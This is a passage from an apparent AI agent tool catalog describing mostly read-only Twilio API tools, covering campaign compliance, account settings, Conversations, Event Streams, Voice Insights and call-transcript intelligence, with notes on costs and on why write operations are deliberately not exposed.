that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/execute-intelligence-v3-rule. Scopes: twilio_write. twilio_get_a2p_campaign (read) — Get one US A2P 10DLC campaign registration in full: its brand, use case, sample messages, opt-in flow, throughput limits and rejection reason if any. The detail half of twilio_get_a2p_compliance. Read-only — registering or amending a campaign is a paid, carrier-reviewed legal attestation and is deliberately not exposed. GET /api/v1/tools/twilio/a2p-campaign. Scopes: twilio_read. twilio_get_a2p_compliance (read) — THE MOST IMPORTANT DIAGNOSTIC READ FOR US SMS. Returns the A2P 10DLC campaign registrations on a Messaging Service, with each campaign's status, use case, and any rejection reason. An unregistered or rejected campaign is the most common cause of a US message that Twilio ACCEPTED (status queued) and the carrier then dropped — Twilio error 30034. Without this an agent can see the error code and nothing that explains it. Free, read-only, and it files nothing. GET /api/v1/tools/twilio/a2p-compliance. Scopes: twilio_read. twilio_get_account (read) — Identify the Twilio account this connection is bound to: its SID, friendly name, status, and whether it is a Trial or a Full account. A Trial account can only message verified numbers, so check this before diagnosing a failed send. Twilio returns the account's live Auth Token in this response; Agentic Fabriq strips it before the result reaches you. GET /api/v1/tools/twilio/account. Scopes: twilio_read. twilio_get_account_credential_aws (read) — Get credential AWS — An account-level setting on accounts.twilio.com. Fetch the AWS credentials specified by the provided Credential Sid. READ ONLY — the write half of this resource is a fraud or spend control and is deliberately not exposed. GET /api/v1/tools/twilio/get-account-credential-aws. Scopes: twilio_read. twilio_get_account_credential_public_key (read) — Get credential public key — An account-level setting on accounts.twilio.com. Fetch the public key specified by the provided Credential Sid. READ ONLY — the write half of this resource is a fraud or spend control and is deliberately not exposed. GET /api/v1/tools/twilio/get-account-credential-public-key. Scopes: twilio_read. twilio_get_account_safelist (read) — Get safelist — An account-level setting on accounts.twilio.com. Check if a phone number or phone number 1k prefix exists in SafeList. READ ONLY — the write half of this resource is a fraud or spend control and is deliberately not exposed. GET /api/v1/tools/twilio/get-account-safelist. Scopes: twilio_read. twilio_get_address (read) — Get address — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Free and read-only. GET /api/v1/tools/twilio/get-address. Scopes: twilio_read. twilio_get_alarm (read) — Get one alarm's condition, threshold, notification targets and current state. Read-only, for the same reason as twilio_list_alarms. GET /api/v1/tools/twilio/alarm. Scopes: twilio_read. twilio_get_alert (read) — The full body of one alert — the request Twilio made, the response it got back, the failing webhook URL and the error code's documentation link. This is where the actual cause lives. Pairs with twilio_list_alerts exactly as twilio_get_message pairs with twilio_list_messages. GET /api/v1/tools/twilio/alert. Scopes: twilio_read. twilio_get_api_key (read) — Get one API key's SID, friendly name and dates. NO SECRET IS RETURNED. Useful for confirming which key a 403 came from. GET /api/v1/tools/twilio/api-key. Scopes: twilio_read. twilio_get_application (read) — Get one TwiML application's handler URLs, methods and status callbacks. Read-only: repointing a handler would silently redirect every call or message that uses it. GET /api/v1/tools/twilio/application. Scopes: twilio_read. twilio_get_audit_event (read) — Get one audit event in full, including the before and after values of every field that changed and the identity that changed them. The detail half of twilio_list_audit_events. GET /api/v1/tools/twilio/audit-event. Scopes: twilio_read. twilio_get_authorized_connect_app (read) — Get authorized connect app — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch an instance of an authorized-connect-app. Free and read-only. GET /api/v1/tools/twilio/get-authorized-connect-app. Scopes: twilio_read. twilio_get_available_phone_number_country (read) — Get available phone number country — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Free and read-only. GET /api/v1/tools/twilio/get-available-phone-number-country. Scopes: twilio_read. twilio_get_balance (read) — Read the Twilio account's remaining balance and currency. Call this before sending anything expensive: an account below its auto-recharge threshold fails a send with a billing error rather than a messaging one, which is easy to misdiagnose as a bad phone number. GET /api/v1/tools/twilio/balance. Scopes: twilio_read. twilio_get_brand_registration (read) — Get one A2P 10DLC brand registration, including its vetting score, identity status and the specific errors the Campaign Registry returned. This is where 'why was my brand rejected' is answered. GET /api/v1/tools/twilio/brand-registration. Scopes: twilio_read. twilio_get_bulkexport_day (read) — Get day — Bulk Export describes and schedules whole-account data extracts. Fetch a specific Day. READ ONLY. Creating an export job writes the whole account's history to a destination and is not exposed; this reads the state of jobs that already exist. Bulk Export is US1-region only, so this returns nothing for an IE1 or AU1 account. GET /api/v1/tools/twilio/get-bulkexport-day. Scopes: twilio_read. twilio_get_bulkexport_export (read) — Get export — Bulk Export describes and schedules whole-account data extracts. Fetch a specific Export. READ ONLY. Creating an export job writes the whole account's history to a destination and is not exposed; this reads the state of jobs that already exist. Bulk Export is US1-region only, so this returns nothing for an IE1 or AU1 account. GET /api/v1/tools/twilio/get-bulkexport-export. Scopes: twilio_read. twilio_get_bulkexport_export_configuration (read) — Get export configuration — Bulk Export describes and schedules whole-account data extracts. Fetch a specific Export Configuration. READ ONLY. Creating an export job writes the whole account's history to a destination and is not exposed; this reads the state of jobs that already exist. Bulk Export is US1-region only, so this returns nothing for an IE1 or AU1 account. GET /api/v1/tools/twilio/get-bulkexport-export-configuration. Scopes: twilio_read. twilio_get_bulkexport_job (read) — Get job — Bulk Export describes and schedules whole-account data extracts. READ ONLY. Creating an export job writes the whole account's history to a destination and is not exposed; this reads the state of jobs that already exist. Bulk Export is US1-region only, so this returns nothing for an IE1 or AU1 account. GET /api/v1/tools/twilio/get-bulkexport-job. Scopes: twilio_read. twilio_get_call (read) — Get one voice call by SID, with its status, duration, price, and start and end times. Get a SID from twilio_list_calls. GET /api/v1/tools/twilio/call. Scopes: twilio_read. twilio_get_call_metrics (read) — Per-interval quality samples for one call — jitter, latency, packet loss and audio levels at each edge. The time series behind twilio_get_call_summary. Same Advanced Features requirement. GET /api/v1/tools/twilio/call/metrics. Scopes: twilio_read. twilio_get_call_notification (read) — Get call notification — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Free and read-only. GET /api/v1/tools/twilio/get-call-notification. Scopes: twilio_read. twilio_get_call_recording (read) — Get call recording — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch an instance of a recording for a call. Free and read-only. GET /api/v1/tools/twilio/get-call-recording. Scopes: twilio_read. twilio_get_call_summary (read) — Answer 'why did that call sound bad': MOS, jitter, packet loss, carrier edge, SIP response and the tags Twilio attached to the call. REQUIRES VOICE INSIGHTS ADVANCED FEATURES, an account-level toggle that adds $0.0025 to every voice minute the account bills; if it is off this returns a 403 or an empty summary. The toggle itself is deliberately not exposed — turning it on re-prices the customer's entire voice estate to answer one question. GET /api/v1/tools/twilio/call/summary. Scopes: twilio_read. twilio_get_conference (read) — Get one conference's status, name, region, reason it ended and timestamps. GET /api/v1/tools/twilio/conference. Scopes: twilio_read. twilio_get_conference_participant (read) — Get conference participant — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch an instance of a participant. Free and read-only. GET /api/v1/tools/twilio/get-conference-participant. Scopes: twilio_read. twilio_get_conference_recording (read) — Get conference recording — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch an instance of a recording for a call. Free and read-only. GET /api/v1/tools/twilio/get-conference-recording. Scopes: twilio_read. twilio_get_connect_app (read) — Get connect app — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch an instance of a connect-app. Free and read-only. GET /api/v1/tools/twilio/get-connect-app. Scopes: twilio_read. twilio_get_content_template (read) — Get one content template in full — its body, its per-channel variants and the variable names it expects. Read the variables here before referencing the template anywhere else. GET /api/v1/tools/twilio/content-template. Scopes: twilio_read. twilio_get_conversation (read) — Get one conversation's state, attributes, messaging service and timers. Accepts either the CH… SID or the conversation's unique name. GET /api/v1/tools/twilio/conversation. Scopes: twilio_read. twilio_get_conversations_configuration (read) — Get configuration — Twilio Conversations — multi-party, multi-channel message threads. Fetch the global configuration of conversations on your account. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-configuration. Scopes: twilio_read. twilio_get_conversations_configuration_address (read) — Get configuration address — Twilio Conversations — multi-party, multi-channel message threads. Fetch an address configuration. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-configuration-address. Scopes: twilio_read. twilio_get_conversations_configuration_webhook (read) — Get configuration webhook — Twilio Conversations — multi-party, multi-channel message threads. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-configuration-webhook. Scopes: twilio_read. twilio_get_conversations_conversation_message (read) — Get conversation message — Twilio Conversations — multi-party, multi-channel message threads. Fetch a message from the conversation. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-conversation-message. Scopes: twilio_read. twilio_get_conversations_conversation_message_receipt (read) — Get conversation message receipt — Twilio Conversations — multi-party, multi-channel message threads. Fetch the delivery and read receipts of the conversation message. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-conversation-message-receipt. Scopes: twilio_read. twilio_get_conversations_conversation_participant (read) — Get conversation participant — Twilio Conversations — multi-party, multi-channel message threads. Fetch a participant of the conversation. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-conversation-participant. Scopes: twilio_read. twilio_get_conversations_conversation_scoped_webhook (read) — Get conversation scoped webhook — Twilio Conversations — multi-party, multi-channel message threads. Fetch the configuration of a conversation-scoped webhook. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-conversation-scoped-webhook. Scopes: twilio_read. twilio_get_conversations_credential (read) — Get credential — Twilio Conversations — multi-party, multi-channel message threads. Fetch a push notification credential from your account. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-credential. Scopes: twilio_read. twilio_get_conversations_role (read) — Get role — Twilio Conversations — multi-party, multi-channel message threads. Fetch a user role from your account's default service. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-role. Scopes: twilio_read. twilio_get_conversations_service (read) — Get service — Twilio Conversations — multi-party, multi-channel message threads. Fetch a conversation service from your account. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-service. Scopes: twilio_read. twilio_get_conversations_service_binding (read) — Get service binding — Twilio Conversations — multi-party, multi-channel message threads. Fetch a push notification binding from the conversation service. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-service-binding. Scopes: twilio_read. twilio_get_conversations_service_configuration (read) — Get service configuration — Twilio Conversations — multi-party, multi-channel message threads. Fetch the configuration of a conversation service. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-service-configuration. Scopes: twilio_read. twilio_get_conversations_service_conversation (read) — Get service conversation — Twilio Conversations — multi-party, multi-channel message threads. Fetch a conversation from your service. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-service-conversation. Scopes: twilio_read. twilio_get_conversations_service_conversation_message (read) — Get service conversation message — Twilio Conversations — multi-party, multi-channel message threads. Fetch a message from the conversation. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-service-conversation-message. Scopes: twilio_read. twilio_get_conversations_service_conversation_message_receipt (read) — Get service conversation message receipt — Twilio Conversations — multi-party, multi-channel message threads. Fetch the delivery and read receipts of the conversation message. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-service-conversation-message-receipt. Scopes: twilio_read. twilio_get_conversations_service_conversation_participant (read) — Get service conversation participant — Twilio Conversations — multi-party, multi-channel message threads. Fetch a participant of the conversation. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-service-conversation-participant. Scopes: twilio_read. twilio_get_conversations_service_conversation_scoped_webhook (read) — Get service conversation scoped webhook — Twilio Conversations — multi-party, multi-channel message threads. Fetch the configuration of a conversation-scoped webhook. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-service-conversation-scoped-webhook. Scopes: twilio_read. twilio_get_conversations_service_notification (read) — Get service notification — Twilio Conversations — multi-party, multi-channel message threads. Fetch push notification service settings. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-service-notification. Scopes: twilio_read. twilio_get_conversations_service_role (read) — Get service role — Twilio Conversations — multi-party, multi-channel message threads. Fetch a user role from your service. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-service-role. Scopes: twilio_read. twilio_get_conversations_service_user (read) — Get service user — Twilio Conversations — multi-party, multi-channel message threads. Fetch a conversation user from your service. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-service-user. Scopes: twilio_read. twilio_get_conversations_service_user_conversation (read) — Get service user conversation — Twilio Conversations — multi-party, multi-channel message threads. Fetch a specific User Conversation. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-service-user-conversation. Scopes: twilio_read. twilio_get_conversations_service_webhook_configuration (read) — Get service webhook configuration — Twilio Conversations — multi-party, multi-channel message threads. Fetch a specific service webhook configuration. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-service-webhook-configuration. Scopes: twilio_read. twilio_get_conversations_user (read) — Get user — Twilio Conversations — multi-party, multi-channel message threads. Fetch a conversation user from your account's default service. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-user. Scopes: twilio_read. twilio_get_conversations_user_conversation (read) — Get user conversation — Twilio Conversations — multi-party, multi-channel message threads. Fetch a specific User Conversation. READ ONLY. Conversations bills $0.05 per monthly active user after the first 200, and a write that touches a user record can create one, so nothing here creates, joins or posts. Message bodies, participant addresses and user identities are the customer's own content. GET /api/v1/tools/twilio/get-conversations-user-conversation. Scopes: twilio_read. twilio_get_conversations_v2_communication (read) — Get communication — The 2026 Conversations control-plane rewrite. Fetch Communication. READ ONLY, and newer than the v1 surface — treat an empty result as 'this account is on v1' rather than as an error. GET /api/v1/tools/twilio/get-conversations-v2-communication. Scopes: twilio_read. twilio_get_conversations_v2_configuration (read) — Get configuration — The 2026 Conversations control-plane rewrite. Fetch Configuration. READ ONLY, and newer than the v1 surface — treat an empty result as 'this account is on v1' rather than as an error. GET /api/v1/tools/twilio/get-conversations-v2-configuration. Scopes: twilio_read. twilio_get_conversations_v2_conversation (read) — Get conversation — The 2026 Conversations control-plane rewrite. Fetch Conversation. READ ONLY, and newer than the v1 surface — treat an empty result as 'this account is on v1' rather than as an error. GET /api/v1/tools/twilio/get-conversations-v2-conversation. Scopes: twilio_read. twilio_get_conversations_v2_conversation_action (read) — Get conversation action — The 2026 Conversations control-plane rewrite. Get Action Status. READ ONLY, and newer than the v1 surface — treat an empty result as 'this account is on v1' rather than as an error. GET /api/v1/tools/twilio/get-conversations-v2-conversation-action. Scopes: twilio_read. twilio_get_conversations_v2_operation_status (read) — Get operation status — The 2026 Conversations control-plane rewrite. READ ONLY, and newer than the v1 surface — treat an empty result as 'this account is on v1' rather than as an error. GET /api/v1/tools/twilio/get-conversations-v2-operation-status. Scopes: twilio_read. twilio_get_conversations_v2_participant (read) — Get participant — The 2026 Conversations control-plane rewrite. Fetch Participant. READ ONLY, and newer than the v1 surface — treat an empty result as 'this account is on v1' rather than as an error. GET /api/v1/tools/twilio/get-conversations-v2-participant. Scopes: twilio_read. twilio_get_customer_profile (read) — Get one Trust Hub customer profile with its status, its policy and the errors returned if it was rejected. GET /api/v1/tools/twilio/customer-profile. Scopes: twilio_read. twilio_get_events_event_type (read) — Get event type — Event Streams — the account's standing export of its own events, and the schema catalog behind it. Fetch a specific Event Type. READ ONLY, and it is a security read: it answers what is already exporting this account's events and where to. Creating a sink or subscription configures persistent exfiltration to a caller-chosen destination and is not exposed. GET /api/v1/tools/twilio/get-events-event-type. Scopes: twilio_read. twilio_get_events_schema (read) — Get schema — Event Streams — the account's standing export of its own events, and the schema catalog behind it. Fetch a specific schema with its nested versions. READ ONLY, and it is a security read: it answers what is already exporting this account's events and where to. Creating a sink or subscription configures persistent exfiltration to a caller-chosen destination and is not exposed. GET /api/v1/tools/twilio/get-events-schema. Scopes: twilio_read. twilio_get_events_schema_version (read) — Get schema version — Event Streams — the account's standing export of its own events, and the schema catalog behind it. Fetch a specific schema and version. READ ONLY, and it is a security read: it answers what is already exporting this account's events and where to. Creating a sink or subscription configures persistent exfiltration to a caller-chosen destination and is not exposed. GET /api/v1/tools/twilio/get-events-schema-version. Scopes: twilio_read. twilio_get_events_sink (read) — Get sink — Event Streams — the account's standing export of its own events, and the schema catalog behind it. Fetch a specific Sink. READ ONLY, and it is a security read: it answers what is already exporting this account's events and where to. Creating a sink or subscription configures persistent exfiltration to a caller-chosen destination and is not exposed. GET /api/v1/tools/twilio/get-events-sink. Scopes: twilio_read. twilio_get_events_subscribed_event (read) — Get subscribed event — Event Streams — the account's standing export of its own events, and the schema catalog behind it. Read an Event for a Subscription. READ ONLY, and it is a security read: it answers what is already exporting this account's events and where to. Creating a sink or subscription configures persistent exfiltration to a caller-chosen destination and is not exposed. GET /api/v1/tools/twilio/get-events-subscribed-event. Scopes: twilio_read. twilio_get_events_subscription (read) — Get subscription — Event Streams — the account's standing export of its own events, and the schema catalog behind it. Fetch a specific Subscription. READ ONLY, and it is a security read: it answers what is already exporting this account's events and where to. Creating a sink or subscription configures persistent exfiltration to a caller-chosen destination and is not exposed. GET /api/v1/tools/twilio/get-events-subscription. Scopes: twilio_read. twilio_get_flex_provisioning_status (read) — Get provisioning status — Twilio Flex, the contact-centre product. Flex needs its own plan and contract. This single read is exposed so that an agent can find out whether this account has Flex at all; every other Flex operation is deliberately not exposed. GET /api/v1/tools/twilio/get-flex-provisioning-status. Scopes: twilio_read. twilio_get_geo_permissions (read) — Read which countries this account is permitted to message. Twilio blocks messaging to countries the account has not enabled and answers error 21408, which looks identical to a bad number; this read explains that whole class of failure in one call. READ ONLY — the PATCH that enables a country is a toll-fraud control and is deliberately not exposed. GET /api/v1/tools/twilio/geo-permissions. Scopes: twilio_read. twilio_get_iam_key (read) — Get key — Twilio's IAM surface — API key metadata and role permissions. Fetch a specific Key. METADATA ONLY. No key secret is ever returned: Twilio shows a secret exactly once, at creation, and creating a key is deliberately not exposed. GET /api/v1/tools/twilio/get-iam-key. Scopes: twilio_read. twilio_get_incoming_phone_number_assigned_add_on (read) — Get incoming phone number assigned add on — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch an instance of an Add-on installation currently assigned to this Number. Free and read-only. GET /api/v1/tools/twilio/get-incoming-phone-number-assigned-add-on. Scopes: twilio_read. twilio_get_incoming_phone_number_assigned_add_on_extension (read) — Get incoming phone number assigned add on extension — Part of Twilio's classic REST API, scoped to the account this connection is bound to. Fetch an instance of an Extension for the Assigned Add-on. Free and read-only. GET /api/v1/tools/twilio/get-incoming-phone-number-assigned-add-on-extension. Scopes: twilio_read. twilio_get_insights_annotation (read) — Get annotation — Voice Insights — per-call, per-conference and per-video-room quality telemetry. Get the Annotation for a specific Call. REQUIRES VOICE INSIGHTS ADVANCED FEATURES, an account-level toggle that adds $0.0025 to every voice minute the account bills. If it is off this returns a 403 or an empty result; call twilio_get_voice_insights_settings to tell those apart. The toggle itself is deliberately not exposed. GET /api/v1/tools/twilio/get-insights-annotation. Scopes: twilio_read. twilio_get_insights_call (read) — Get call — Voice Insights — per-call, per-conference and per-video-room quality telemetry. REQUIRES VOICE INSIGHTS ADVANCED FEATURES, an account-level toggle that adds $0.0025 to every voice minute the account bills. If it is off this returns a 403 or an empty result; call twilio_get_voice_insights_settings to tell those apart. The toggle itself is deliberately not exposed. GET /api/v1/tools/twilio/get-insights-call. Scopes: twilio_read. twilio_get_insights_conference (read) — Get conference — Voice Insights — per-call, per-conference and per-video-room quality telemetry. Get a specific Conference Summary. REQUIRES VOICE INSIGHTS ADVANCED FEATURES, an account-level toggle that adds $0.0025 to every voice minute the account bills. If it is off this returns a 403 or an empty result; call twilio_get_voice_insights_settings to tell those apart. The toggle itself is deliberately not exposed. GET /api/v1/tools/twilio/get-insights-conference. Scopes: twilio_read. twilio_get_insights_conference_participant (read) — Get conference participant — Voice Insights — per-call, per-conference and per-video-room quality telemetry. Get a specific Conference Participant Summary for a Conference. REQUIRES VOICE INSIGHTS ADVANCED FEATURES, an account-level toggle that adds $0.0025 to every voice minute the account bills. If it is off this returns a 403 or an empty result; call twilio_get_voice_insights_settings to tell those apart. The toggle itself is deliberately not exposed. GET /api/v1/tools/twilio/get-insights-conference-participant. Scopes: twilio_read. twilio_get_insights_v2_account_report (read) — Get account report — Voice Insights aggregate reports over a whole account or number set. Fetch Voice Insights Account Level Report. Same Advanced Features requirement as the per-call reads. GET /api/v1/tools/twilio/get-insights-v2-account-report. Scopes: twilio_read. twilio_get_insights_v3_metadata (read) — Get metadata — Conversational Insights — aggregate query surface over conversation data. Fetch domain metadata. Read-only. GET /api/v1/tools/twilio/get-insights-v3-metadata. Scopes: twilio_read. twilio_get_insights_v3_query_results (read) — Get query results — Conversational Insights — aggregate query surface over conversation data. Fetch paginated query results. Read-only. GET /api/v1/tools/twilio/get-insights-v3-query-results. Scopes: twilio_read. twilio_get_insights_video_participant_summary (read) — Get video participant summary — Voice Insights — per-call, per-conference and per-video-room quality telemetry. Get Video Log Analyzer data for a Room Participant. REQUIRES VOICE INSIGHTS ADVANCED FEATURES, an account-level toggle that adds $0.0025 to every voice minute the account bills. If it is off this returns a 403 or an empty result; call twilio_get_voice_insights_settings to tell those apart. The toggle itself is deliberately not exposed. GET /api/v1/tools/twilio/get-insights-video-participant-summary. Scopes: twilio_read. twilio_get_insights_video_room_summary (read) — Get video room summary — Voice Insights — per-call, per-conference and per-video-room quality telemetry. Get Video Log Analyzer data for a Room. REQUIRES VOICE INSIGHTS ADVANCED FEATURES, an account-level toggle that adds $0.0025 to every voice minute the account bills. If it is off this returns a 403 or an empty result; call twilio_get_voice_insights_settings to tell those apart. The toggle itself is deliberately not exposed. GET /api/v1/tools/twilio/get-insights-video-room-summary. Scopes: twilio_read. twilio_get_intelligence_custom_operator (read) — Get custom operator — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Fetch a specific Custom Operator. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/get-intelligence-custom-operator. Scopes: twilio_read. twilio_get_intelligence_encrypted_operator_results (read) — Get encrypted operator results — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Fetch Public Key Encrypted Operator Results by TranscriptSid. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/get-intelligence-encrypted-operator-results. Scopes: twilio_read. twilio_get_intelligence_encrypted_sentences (read) — Get encrypted sentences — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Fetch Public Key Encrypted Sentences by TranscriptSid. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/get-intelligence-encrypted-sentences. Scopes: twilio_read. twilio_get_intelligence_media (read) — Get media — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Get download URLs for media if possible. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/get-intelligence-media. Scopes: twilio_read. twilio_get_intelligence_operator (read) — Get operator — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Fetch a specific Operator. Works for both Custom and Pre-built Operators. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/get-intelligence-operator. Scopes: twilio_read. twilio_get_intelligence_operator_attachments (read) — Get operator attachments — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Retrieve Operators attached to a Service. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/get-intelligence-operator-attachments. Scopes: twilio_read. twilio_get_intelligence_operator_result (read) — Get operator result — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Fetch a specific Operator Result for the given Transcript. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/get-intelligence-operator-result. Scopes: twilio_read. twilio_get_intelligence_operator_type (read) — Get operator type — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Fetch a specific Operator Type. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/get-intelligence-operator-type. Scopes: twilio_read. twilio_get_intelligence_prebuilt_operator (read) — Get prebuilt operator — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Fetch a specific Pre-built Operator. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/get-intelligence-prebuilt-operator. Scopes: twilio_read. twilio_get_intelligence_service (read) — Get service — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Fetch a specific Service. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/get-intelligence-service. Scopes: twilio_read. twilio_get_intelligence_transcript (read) — Get transcript — Conversational Intelligence — transcripts of recorded calls and the operators run over them. Fetch a specific Transcript. READING is free; CREATING a transcript is billed at $0.024-$0.027 per minute and is not exposed. Transcript text and sentences are a real conversation between real people — treat them as customer content and do not repeat them further than the task requires. GET /api/v1/tools/twilio/get-intelligence-transcript. Scopes: twilio_read. twilio_get_intelligence_v3_configuration (read) — Get configuration — The v3 Conversational Intelligence control plane. Retrieve an Intelligence Configuration. Read-only; same content-sensitivity as the v2 transcripts. GET /api/v1/tools/twilio/get-intelligence-v3-configuration. Scopes: twilio_read. twilio_get_intelligence_v3_conversation (read) — Get conversation — The v3 Conversational Intelligence control plane. Retrieve a Conversation. Read-only; same content-sensitivity as the v2 transcripts. GET /api/v1/tools/twilio/get-intelligence-v3-conversation. Scopes: twilio_read. twilio_get_intelligence_v3_operator (read) — Get operator — The v3 Conversational Intelligence control plane. Retrieve an Operator. Read-only; same content-sensitivity as the v2 transcripts. GET /api/v1/tools/twilio/get-intelligence-v3-operator. Scopes: twilio_read. twilio_get_intelligence_v3_operator_result (read) — Get operator result — The v3 Conversational Intelligence control plane. Retrieve an OperatorResult. Read-only; same content-sensitivity as the v2 transcripts. GET /api/v1/tools/twilio/get-intelligence-v3-operator-result. Scopes: twilio_read. twilio_get_intelligence_v3_operator_version (read) — Get operator version — The v3 Conversational Intelligence control plane. Retrieve a specific Operator Version. Read-only; same content-sensitivity as the v2 transcripts. GET 